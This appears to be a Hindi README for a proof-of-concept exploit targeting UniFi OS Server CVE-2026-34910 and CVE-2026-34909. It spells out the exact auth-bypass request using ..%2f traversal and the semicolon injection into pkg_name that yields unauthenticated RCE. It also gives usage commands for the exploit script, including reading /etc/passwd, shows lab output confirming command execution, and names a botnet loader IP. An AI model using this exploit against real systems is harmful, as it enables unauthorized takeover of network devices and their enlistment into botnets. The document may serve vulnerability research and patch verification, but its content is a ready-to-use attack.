
CVE-2026-34910/34909 — UniFi OS बिना प्रमाणीकरण RCE + ..%2f प्रमाणीकरण बाईपास के माध्यम से फ़ाइल पठन (CVSS 10.0, KEV, Mirai ITW)
अनधिकृत कमांड इंजेक्शन RCE (CVE-2026-34910) + पाथ ट्रैवर्सल मनमानी फ़ाइल रीड (CVE-2026-34909) UniFi OS Server में।
प्रत्येक CVSS 10.0 (क्रिटिकल) · CISA KEV सूचीबद्ध · Mirai-व्युत्पन्न बॉटनेट (azsxd इम्प्लांट) द्वारा सक्रिय रूप से शोषित।
Ubiquiti UniFi OS एक nginx ऑथ गेटवे के साथ आता है जो किसी भी अनुरोध को, जिसका RAW URI /api/auth/validate-sso/ से शुरू होता है, सार्वजनिक मानता है, लेकिन रूटिंग NORMALIZED URI (%2f → / डिकोड करता है और ../ को समाहित करता है) के आधार पर करता है। ट्रैवर्सल को एन्कोड करने से दोनों में अंतर उत्पन्न हो जाता है:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ आंतरिक package-update handler तक पहुँचता है, जो pkg_name को
/bin/sh -c को पास करता है → एक ही request में unauthenticated RCE।
/app-assets/... के विरुद्ध वही primitive डिस्क से फ़ाइलें पढ़ता है
(CVE-2026-34909)।
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
RCE पेलोड हैंडलर के आंतरिक
sudo systemctl stop <pkg_name> शेल कमांड में एक सेमीकोलन इंजेक्ट करता है: pkg_name=evil;<CMD> →
sudo systemctl stop evil;<CMD> — इंजेक्ट किया गया कमांड होस्ट पर
ucs-update उपयोगकर्ता के रूप में निष्पादित होता है।
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ पूर्णतः सत्यापित — वास्तविक UniFi OS Server 5.0.6 के विरुद्ध RCE की पुष्टि हुई (भेद्य, सेटअप-पूर्ण) जो Docker में चल रहा है (hieutq/unifi-os-server:5.0.6-amd64):
..%2fप्रमाणीकरण-बायपास आंतरिकlatest_packageहैंडलर तक पहुँचता है (प्रतिक्रिया:CODE_SYSTEM_ERROR/ "pkg_name required" — nginx 400 नहीं)।pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=trueने लक्ष्य पर फ़ाइल बना दी (-rw-r--r-- ucs-update) → कमांड इंजेक्शन → RCE की पुष्टि हुई।- पैच किए गए UniFi OS 5.1.21 के विरुद्ध वही अनुरोध HTTP 400 लौटाता है (nginx raw-URI/normalized-URI विचलन को अस्वीकार करता है), जो एक स्पष्ट नकारात्मक परिणाम की पुष्टि करता है।
सेटअप वास्तविक वेब विज़ार्ड के माध्यम से पूरा किया गया था (डिवाइस नाम → क्रेडेंशियल → कंसोल पासवर्ड → समाप्त), इसलिए लैब उत्पादन-इंस्टॉल किए गए उपकरण से मेल खाती है।
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | गंभीरता | प्रभावित | ठीक किया गया |
|---|---|---|---|
| CVE-2026-34910 | 10.0 गंभीर | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 गंभीर | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 गंभीर | UniFi OS Server (pre-SAB-064) | SAB-064 |
Mirai/Gafgyt-आधारित बॉटनेट (azsxd v2.0 इम्प्लांट) अनधिकृत RCE के लिए
प्रमाणीकरण बायपास + कमांड इंजेक्शन को श्रृंखलाबद्ध करता है — बहु-आर्क लोडर
185.228.26.16 से तैनात किया गया। देखें pwndefend लेख।
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए।